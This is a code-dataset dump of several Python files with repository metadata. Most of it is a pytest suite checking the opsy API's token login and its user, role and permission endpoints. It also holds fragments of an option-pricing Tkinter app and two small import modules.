self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries\n Please try again')
return
putStr = 'put'
callStr = 'call'
optionPrice = 'NaN'
controlVariateValue = False
if str(controlVariate).lower() == 'True'.lower():
controlVariateValue = True
elif str(controlVariate).lower() == 'False'.lower():
controlVariateValue = False
else:
raise Exception
if str(putOrCall).lower() == putStr.lower():
optionPrice = formulas.arithmeticBasketOptionValue(S1,S2,v1,v2,r,T,K,corr,-1,M,controlVariateValue)
elif str(putOrCall).lower() == callStr.lower():
optionPrice = formulas.arithmeticBasketOptionValue(S1,S2,v1,v2,r,T,K,corr,1,M,controlVariateValue)
else:
raise Exception
optionPrice = round(optionPrice, 5)
self.builder.tkvariables['optionPrice'].set('Option Price = ' + str(optionPrice))
except Exception:
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries\n Please try again')
if __name__ == '__main__':
root = Tk()
app = App(root)
root.mainloop() | 44.595166 | 140 | 0.607953 | 1,523 | 14,761 | 5.814183 | 0.09455 | 0.132919 | 0.228571 | 0.158554 | 0.896443 | 0.88978 | 0.874647 | 0.857933 | 0.833653 | 0.768718 | 0 | 0.013658 | 0.270849 | 14,761 | 331 | 141 | 44.595166 | 0.809068 | 0.003658 | 0 | 0.753968 | 0 | 0 | 0.191445 | 0.013466 | 0 | 0 | 0 | 0 | 0 | 1 | 0.059524 | false | 0 | 0.011905 | 0 | 0.103175 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d6eb296808e31b4011e33c41d477ef01edaad80e | 141 | py | Python | comboloader/utils/__init__.py | chrisgeo/comboloader | 5e41030e4ee1d2c361ffccf9b8d740e0c6cc5942 | [
"MIT"
] | 1 | 2015-09-15T01:27:56.000Z | 2015-09-15T01:27:56.000Z | comboloader/utils/__init__.py | chrisgeo/comboloader | 5e41030e4ee1d2c361ffccf9b8d740e0c6cc5942 | [
"MIT"
] | null | null | null | comboloader/utils/__init__.py | chrisgeo/comboloader | 5e41030e4ee1d2c361ffccf9b8d740e0c6cc5942 | [
"MIT"
] | null | null | null | from comboloader.utils.request import HttpRequest
from comboloader.utils.request import FileRequest
__all__ = ['HttpRequest', 'FileRequest'] | 35.25 | 49 | 0.829787 | 15 | 141 | 7.533333 | 0.533333 | 0.265487 | 0.353982 | 0.477876 | 0.584071 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 141 | 4 | 50 | 35.25 | 0.875969 | 0 | 0 | 0 | 0 | 0 | 0.15493 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ba39d5773f8c604c8cb5a9455ab901a3d9256f88 | 34,294 | py | Python | tests/views/test_auth.py | cryptk/hourglass | 04df977ae2d3de6d4d085997d6f924193c1c51e5 | [
"MIT"
] | 3 | 2016-08-18T01:44:13.000Z | 2017-09-01T08:52:30.000Z | tests/views/test_auth.py | cryptk/opsy | 04df977ae2d3de6d4d085997d6f924193c1c51e5 | [
"MIT"
] | 34 | 2016-08-02T23:48:25.000Z | 2017-03-17T13:45:47.000Z | tests/views/test_auth.py | objectrocket/opsy | 04df977ae2d3de6d4d085997d6f924193c1c51e5 | [
"MIT"
] | 6 | 2016-08-04T21:14:44.000Z | 2016-09-16T21:18:28.000Z | import json
import pytest
from time import sleep
from opsy.auth.models import User, Role, Permission
from opsy.auth.schema import UserTokenSchema
###############################################################################
# Login Tests
###############################################################################
def test_login_get(client, test_user):
"""Functional test for login_get."""
# First lets get our token
test_user_token = test_user.get_id()
# Let's make sure it yells at us if we don't give it a token
response = client.get(
'/api/v1/login/',
follow_redirects=True)
assert response.status_code == 403
# Now let's make sure it gives us our token if we do have a token
response = client.get(
'/api/v1/login/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
# Then we make sure we get the proper response codes.
assert response.status_code == 200
assert json.loads(response.data) == UserTokenSchema().dump(test_user)
def test_login_post(client, test_user, disabled_user):
"""Functional test for login_post."""
test_user_id = test_user.id
disabled_user_id = disabled_user.id
# Let's try to give it a non-existant user
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={'user_name': 'notrealboy', 'password': 'hopeless'})
assert response.status_code == 401
# Now let's try a wrong password
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={'user_name': 'test', 'password': 'hopeless'})
assert response.status_code == 401
# Now no password
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={'user_name': 'test'})
assert response.status_code == 422
# Now no user_name
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={'password': 'hopeless'})
assert response.status_code == 422
# Now neither
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={})
assert response.status_code == 422
# Let's try to login with disabled_user and make sure it yells at us
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={'user_name': 'disabled', 'password': 'banhammer'})
assert response.status_code == 401
# Make sure it still has no session token
disabled_user = User.get_by_id(disabled_user_id)
assert disabled_user.session_token is None
# Okay, now lets actually log in
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={'user_name': 'test', 'password': 'weakpass'})
assert response.status_code == 200
# And make sure it gives us is what it's supposed to
test_user = User.get_by_id(test_user_id)
assert json.loads(response.data) == UserTokenSchema().dump(test_user)
assert json.loads(response.data)['token'] == test_user.session_token
# Let's save the token it gave us
old_token = json.loads(response.data)['token']
# sleep 1 second just to make sure any timestamps are different for token
# generation
sleep(1)
# login again to make sure it gives us the old, but still valid token
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={'user_name': 'test', 'password': 'weakpass'})
assert json.loads(response.data)['token'] == old_token
# now let's pass force_renew to make sure it gives us a fresh token
response = client.post(
'/api/v1/login/',
follow_redirects=True,
json={'force_renew': True,
'user_name': 'test',
'password': 'weakpass'})
assert json.loads(response.data)['token'] != old_token
def test_login_patch(client, test_user):
"""Functional test for login_patch."""
# First lets get our token
test_user_token = test_user.get_id()
# Let's try to patch without a token
response = client.patch(
'/api/v1/login/',
follow_redirects=True,
json={'full_name': 'I am a test',
'email': 'user@example.com',
'password': 'howdypassword'})
assert response.status_code == 403
# Now let's make sure we can patch with the token.
response = client.patch(
'/api/v1/login/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)],
json={'full_name': 'I am a test',
'email': 'user@example.com',
'password': 'howdypassword'})
assert response.status_code == 200
assert json.loads(response.data)['full_name'] == 'I am a test'
assert json.loads(response.data)['email'] == 'user@example.com'
assert test_user.verify_password('howdypassword') is True
# Now let's make sure it yells if we're an LDAP user
test_user.update(ldap_user=True)
test_user_token = test_user.get_id()
response = client.patch(
'/api/v1/login/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)],
json={'full_name': 'I am a test',
'email': 'user@example.com',
'password': 'howdypassword'})
assert response.status_code == 400
def test_login_delete(client, test_user):
"""Functional test for login_post."""
# First lets get our token
test_user_id = test_user.id
test_user_token = test_user.get_id()
# Let's try to logout without a token
response = client.delete(
'/api/v1/login/',
follow_redirects=True)
assert response.status_code == 403
# Now let's try with a wrong token
response = client.delete(
'/api/v1/login/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', 'notrealtoken')])
assert response.status_code == 403
# Okay, now lets actually log out
response = client.delete(
'/api/v1/login/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 205
# And make sure it actually logged us out
test_user = User.get_by_id(test_user_id)
assert test_user.session_token is None
assert test_user.session_token_expires_at is None
###############################################################################
# User Tests
###############################################################################
def test_users_list(client, test_user, test_users):
"""Functional test for users_list."""
# First lets get our token
test_user_token = test_user.get_id()
# Let's make sure it yells at us if we don't give it a token
response = client.get(
'/api/v1/users/',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.get(
'/api/v1/users/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('list_users')
response = client.get(
'/api/v1/users/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# We should have 11 users.
assert len(json.loads(response.data)) == 11
# Now let's try with a filter
response = client.get(
f'/api/v1/users/?name={test_user.name}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# We should have 1 user.
assert len(json.loads(response.data)) == 1
assert json.loads(response.data)[0]['name'] == test_user.name
def test_users_post(client, test_user):
"""Functional test for users_post."""
user_data = {
'name': 'example',
'full_name': 'Example User',
'email': 'user@example.com',
'enabled': True,
'ldap_user': False,
'password': 'myshinypassword'}
# First lets get our token
test_user_token = test_user.get_id()
# Let's make sure it yells at us if we don't give it a token
response = client.post(
'/api/v1/users/',
follow_redirects=True,
json=user_data)
assert response.status_code == 403
# And with a user with no permissions
response = client.post(
'/api/v1/users/',
follow_redirects=True,
json=user_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('create_user')
response = client.post(
'/api/v1/users/',
follow_redirects=True,
json=user_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 201
assert json.loads(response.data)['name'] == user_data['name']
assert json.loads(response.data)['full_name'] == user_data['full_name']
assert json.loads(response.data)['email'] == user_data['email']
assert json.loads(response.data)['enabled'] == user_data['enabled']
assert json.loads(response.data)['ldap_user'] == user_data['ldap_user']
# Let's make sure it didn't short change us and actually made our user
example_user = User.get_by_id_or_name('example')
assert example_user.name == user_data['name']
assert example_user.full_name == user_data['full_name']
assert example_user.email == user_data['email']
assert example_user.enabled == user_data['enabled']
assert example_user.ldap_user == user_data['ldap_user']
assert example_user.verify_password(user_data['password']) is True
# Now try again to make sure it yells at us since the username is taken
response = client.post(
'/api/v1/users/',
follow_redirects=True,
json=user_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 400
def test_users_get(client, test_user, test_users):
"""Functional test for users_get."""
# First lets get our token
test_user_token = test_user.get_id()
# Grab one of our generated users for these tests
example_user = test_users[0]
# Let's make sure it yells at us if we don't give it a token
response = client.get(
f'/api/v1/users/{example_user.id}',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.get(
f'/api/v1/users/{example_user.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('show_user')
response = client.get(
f'/api/v1/users/{example_user.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# Make sure we got our user
assert json.loads(response.data)['id'] == example_user.id
assert json.loads(response.data)['name'] == example_user.name
# Make sure it yells at us if the user is bogus
response = client.get(
f'/api/v1/users/fake_user',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
def test_users_patch(client, test_user, test_users):
"""Functional test for users_patch."""
user_data = {
'name': 'example',
'full_name': 'Example User',
'email': 'user@example.com',
'enabled': True,
'ldap_user': False,
'password': 'myshinypassword'}
# First lets get our token
test_user_token = test_user.get_id()
# Grab one of our generated users for these tests
example_user = test_users[0]
# Let's make sure it yells at us if we don't give it a token
response = client.patch(
f'/api/v1/users/{example_user.id}',
follow_redirects=True,
json=user_data)
assert response.status_code == 403
# And with a user with no permissions
response = client.patch(
f'/api/v1/users/{example_user.id}',
follow_redirects=True,
json=user_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('update_user')
response = client.patch(
f'/api/v1/users/{example_user.id}',
follow_redirects=True,
json=user_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# Make sure the return data is right
assert json.loads(response.data)['name'] == user_data['name']
assert json.loads(response.data)['full_name'] == user_data['full_name']
assert json.loads(response.data)['email'] == user_data['email']
assert json.loads(response.data)['enabled'] == user_data['enabled']
assert json.loads(response.data)['ldap_user'] == user_data['ldap_user']
# Make sure it actually updated the user
assert example_user.name == user_data['name']
assert example_user.full_name == user_data['full_name']
assert example_user.email == user_data['email']
assert example_user.enabled == user_data['enabled']
assert example_user.ldap_user == user_data['ldap_user']
assert example_user.verify_password(user_data['password']) is True
# Make sure it yells at us if the user is bogus
response = client.patch(
f'/api/v1/users/fake_user',
follow_redirects=True,
json=user_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
def test_users_delete(client, test_user, test_users):
"""Functional test for users_delete."""
# First lets get our token
test_user_token = test_user.get_id()
# Grab one of our generated users for these tests
example_user = test_users[0]
# Let's go ahead and grab the ID now so we can verify it got nuked later
example_user_id = example_user.id
# Let's make sure it yells at us if we don't give it a token
response = client.delete(
f'/api/v1/users/{example_user.id}',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.delete(
f'/api/v1/users/{example_user.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('delete_user')
response = client.delete(
f'/api/v1/users/{example_user.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 204
# Make sure the user is actually gone
with pytest.raises(ValueError):
User.get_by_id_or_name(example_user_id)
# Trying again should give us a 404 since the user doesn't exist
response = client.delete(
f'/api/v1/users/{example_user.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
###############################################################################
# Role Tests
###############################################################################
def test_roles_list(client, test_user, test_role, test_roles):
"""Functional test for roles_list."""
# First lets get our token
test_user_token = test_user.get_id()
# Let's make sure it yells at us if we don't give it a token
response = client.get(
'/api/v1/roles/',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.get(
'/api/v1/roles/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('list_roles')
response = client.get(
'/api/v1/roles/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# We should have 12 roles.
assert len(json.loads(response.data)) == 12
# Now let's try with a filter
response = client.get(
f'/api/v1/roles/?name={test_role.name}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# We should have 1 role.
assert len(json.loads(response.data)) == 1
assert json.loads(response.data)[0]['name'] == test_role.name
def test_roles_post(client, test_user):
"""Functional test for roles_post."""
role_data = {
'name': 'example',
'ldap_group': 'example',
'description': 'The rolest role that ever roled.'}
# First lets get our token
test_user_token = test_user.get_id()
# Let's make sure it yells at us if we don't give it a token
response = client.post(
'/api/v1/roles/',
follow_redirects=True,
json=role_data)
assert response.status_code == 403
# And with a user with no permissions
response = client.post(
'/api/v1/roles/',
follow_redirects=True,
json=role_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('create_role')
response = client.post(
'/api/v1/roles/',
follow_redirects=True,
json=role_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 201
assert json.loads(response.data)['name'] == role_data['name']
assert json.loads(response.data)['ldap_group'] == role_data['ldap_group']
assert json.loads(response.data)['description'] == role_data['description']
# Let's make sure it didn't short change us and actually made our role
example_role = Role.get_by_id_or_name('example')
assert example_role.name == role_data['name']
assert example_role.ldap_group == role_data['ldap_group']
assert example_role.description == role_data['description']
# Now try again to make sure it yells at us since the role name is taken
response = client.post(
'/api/v1/roles/',
follow_redirects=True,
json=role_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 400
def test_roles_get(client, test_user, test_roles):
"""Functional test for roles_get."""
# First lets get our token
test_user_token = test_user.get_id()
# Grab one of our generated roles for these tests
example_role = test_roles[0]
# Let's make sure it yells at us if we don't give it a token
response = client.get(
f'/api/v1/roles/{example_role.id}',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.get(
f'/api/v1/roles/{example_role.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('show_role')
response = client.get(
f'/api/v1/roles/{example_role.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# Make sure we got our role
assert json.loads(response.data)['id'] == example_role.id
assert json.loads(response.data)['name'] == example_role.name
# Make sure it yells at us if the role is bogus
response = client.get(
f'/api/v1/roles/fake_role',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
def test_roles_patch(client, test_user, test_roles):
"""Functional test for roles_patch."""
role_data = {
'name': 'example',
'ldap_group': 'example',
'description': 'The rolest role that ever roled.'}
# First lets get our token
test_user_token = test_user.get_id()
# Grab one of our generated roles for these tests
example_role = test_roles[0]
# Let's make sure it yells at us if we don't give it a token
response = client.patch(
f'/api/v1/roles/{example_role.id}',
follow_redirects=True,
json=role_data)
assert response.status_code == 403
# And with a user with no permissions
response = client.patch(
f'/api/v1/roles/{example_role.id}',
follow_redirects=True,
json=role_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('update_role')
response = client.patch(
f'/api/v1/roles/{example_role.id}',
follow_redirects=True,
json=role_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# Make sure the return data is right
assert json.loads(response.data)['name'] == role_data['name']
assert json.loads(response.data)['ldap_group'] == role_data['ldap_group']
assert json.loads(response.data)['description'] == role_data['description']
# Make sure it actually updated the role
assert example_role.name == role_data['name']
assert example_role.ldap_group == role_data['ldap_group']
assert example_role.description == role_data['description']
# Make sure it yells at us if the role is bogus
response = client.patch(
f'/api/v1/roles/fake_user',
follow_redirects=True,
json=role_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
def test_roles_delete(client, test_user, test_role):
"""Functional test for roles_delete."""
# First lets get our token
test_user_token = test_user.get_id()
# Let's go ahead and grab the ID now so we can verify it got nuked later
test_role_id = test_role.id
# Let's make sure it yells at us if we don't give it a token
response = client.delete(
f'/api/v1/roles/{test_role.id}',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.delete(
f'/api/v1/roles/{test_role.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('delete_role')
response = client.delete(
f'/api/v1/roles/{test_role.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 204
# Make sure the role is actually gone
with pytest.raises(ValueError):
Role.get_by_id_or_name(test_role_id)
# Trying again should give us a 404 since the role doesn't exist
response = client.delete(
f'/api/v1/roles/{test_role.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
###############################################################################
# Role Permission Tests
###############################################################################
def test_role_permissions_list(client, test_user, test_role):
"""Functional test for role_permissions_list."""
# First lets get our token
test_user_token = test_user.get_id()
# Let's make sure it yells at us if we don't give it a token
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('show_role')
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# We should have 2 permissions.
assert len(json.loads(response.data)) == 2
# Now let's try with a filter
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/?name=test1',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# We should have 1 permission.
assert len(json.loads(response.data)) == 1
assert json.loads(response.data)[0]['name'] == 'test1'
# Check to make sure it yells at us if the role is bogus
response = client.get(
f'/api/v1/roles/fake_role/permissions/',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
def test_role_permissions_post(client, test_user, test_role):
"""Functional test for role_permissions_post."""
permission_data = {'name': 'permission-to-kill-9'}
# First lets get our token
test_user_token = test_user.get_id()
# Let's make sure it yells at us if we don't give it a token
response = client.post(
f'/api/v1/roles/{test_role.id}/permissions/',
follow_redirects=True,
json=permission_data)
assert response.status_code == 403
# And with a user with no permissions
response = client.post(
f'/api/v1/roles/{test_role.id}/permissions/',
follow_redirects=True,
json=permission_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('update_role')
response = client.post(
f'/api/v1/roles/{test_role.id}/permissions/',
follow_redirects=True,
json=permission_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 201
assert json.loads(response.data)['name'] == permission_data['name']
# Let's make sure it didn't short change us
example_permission = Permission.query.filter_by(
role_id=test_role.id, name=permission_data['name']).first()
assert example_permission.name == permission_data['name']
# Now try again to make sure it yells at us since the role name is taken
response = client.post(
f'/api/v1/roles/{test_role.id}/permissions/',
follow_redirects=True,
json=permission_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 400
# Check to make sure it yells at us if the role is bogus
response = client.post(
f'/api/v1/roles/fake_role/permissions/',
follow_redirects=True,
json=permission_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
def test_role_permissions_get(client, test_user, test_role):
"""Functional test for role_permissions_get."""
# First lets get our token
test_user_token = test_user.get_id()
# Grab one of our generated permissions for these tests
test_permission = test_role.permissions[0]
# Let's make sure it yells at us if we don't give it a token
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('show_role')
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
assert json.loads(response.data)['id'] == test_permission.id
assert json.loads(response.data)['name'] == test_permission.name
# Should also work by id
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.id}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
assert json.loads(response.data)['id'] == test_permission.id
assert json.loads(response.data)['name'] == test_permission.name
# Make sure it yells at us if the permission is bogus
response = client.get(
f'/api/v1/roles/{test_role.id}/permissions/fake_permission',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
# Make sure it yells at us if the role is bogus
response = client.get(
f'/api/v1/roles/fake_role/permissions/fake_permission',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
def test_role_permissions_patch(client, test_user, test_role):
"""Functional test for role_permissions_patch."""
permission_data = {'name': 'permission-to-kill-9'}
# First lets get our token
test_user_token = test_user.get_id()
# Grab one of our generated roles for these tests
test_permission = test_role.permissions[0]
# Let's make sure it yells at us if we don't give it a token
response = client.patch(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True,
json=permission_data)
assert response.status_code == 403
# And with a user with no permissions
response = client.patch(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True,
json=permission_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('update_role')
response = client.patch(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True,
json=permission_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 200
# Make sure the return data is right
assert json.loads(response.data)['name'] == permission_data['name']
# Make sure it actually updated the permission
assert test_permission.name == permission_data['name']
# Make sure it yells at us if the permission is bogus
response = client.patch(
f'/api/v1/roles/{test_role.id}/permissions/fake_permission',
follow_redirects=True,
json=permission_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
# Check to make sure it also yells at us if the role is bogus
response = client.patch(
f'/api/v1/roles/fake_role/permissions/fake_permission',
follow_redirects=True,
json=permission_data,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
def test_role_permissions_delete(client, test_user, test_role):
"""Functional test for role_permissions_delete."""
# First lets get our token
test_user_token = test_user.get_id()
# Grab one of our test permissions
test_permission = test_role.permissions[0]
# Let's go ahead and grab the ID now so we can verify it got nuked later
test_permission_id = test_permission.id
assert Permission.get_by_id(test_permission_id) == test_permission
# Let's make sure it yells at us if we don't give it a token
response = client.delete(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True)
assert response.status_code == 403
# And with a user with no permissions
response = client.delete(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 403
# Now let's add the right permission and try again.
users_role = Role.get_by_id_or_name('users')
users_role.add_permission('update_role')
response = client.delete(
f'/api/v1/roles/{test_role.id}/permissions/{test_permission.name}',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 204
# Make sure the permission is actually gone
with pytest.raises(ValueError):
Permission.get_by_id(test_permission_id)
# Make sure it yells at us if the permission is bogus
response = client.delete(
f'/api/v1/roles/{test_role.id}/permissions/fake_permission',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
# Check to make sure it also yells at us if the role is bogus
response = client.delete(
f'/api/v1/roles/fake_role/permissions/fake_permission',
follow_redirects=True,
headers=[('X-AUTH-TOKEN', test_user_token)])
assert response.status_code == 404
| 40.729216 | 79 | 0.653292 | 4,798 | 34,294 | 4.483952 | 0.041892 | 0.047969 | 0.056196 | 0.09036 | 0.933996 | 0.910709 | 0.886585 | 0.85693 | 0.845542 | 0.821558 | 0 | 0.013532 | 0.213478 | 34,294 | 841 | 80 | 40.777646 | 0.78408 | 0.196361 | 0 | 0.86262 | 0 | 0 | 0.179543 | 0.07988 | 0 | 0 | 0 | 0 | 0.236422 | 1 | 0.030351 | false | 0.023962 | 0.007987 | 0 | 0.038339 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ba5912fa4341de2702bb844fb7926a70a2946701 | 139 | py | Python | sigopt/cli/commands/experiment/__init__.py | emattia/sigopt-python | e6b4e5240261ddbdc84a3b4061b8935873612c23 | [
"MIT"
] | 67 | 2015-03-01T02:16:47.000Z | 2021-05-10T16:17:21.000Z | sigopt/cli/commands/experiment/__init__.py | emattia/sigopt-python | e6b4e5240261ddbdc84a3b4061b8935873612c23 | [
"MIT"
] | 150 | 2015-10-22T21:59:37.000Z | 2022-03-10T00:55:19.000Z | sigopt/cli/commands/experiment/__init__.py | emattia/sigopt-python | e6b4e5240261ddbdc84a3b4061b8935873612c23 | [
"MIT"
] | 19 | 2016-07-10T03:46:33.000Z | 2022-02-05T12:13:01.000Z | import sigopt.cli.commands.experiment.create
import sigopt.cli.commands.experiment.archive
import sigopt.cli.commands.experiment.unarchive
| 34.75 | 47 | 0.870504 | 18 | 139 | 6.722222 | 0.444444 | 0.297521 | 0.371901 | 0.570248 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043165 | 139 | 3 | 48 | 46.333333 | 0.909774 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 9 |
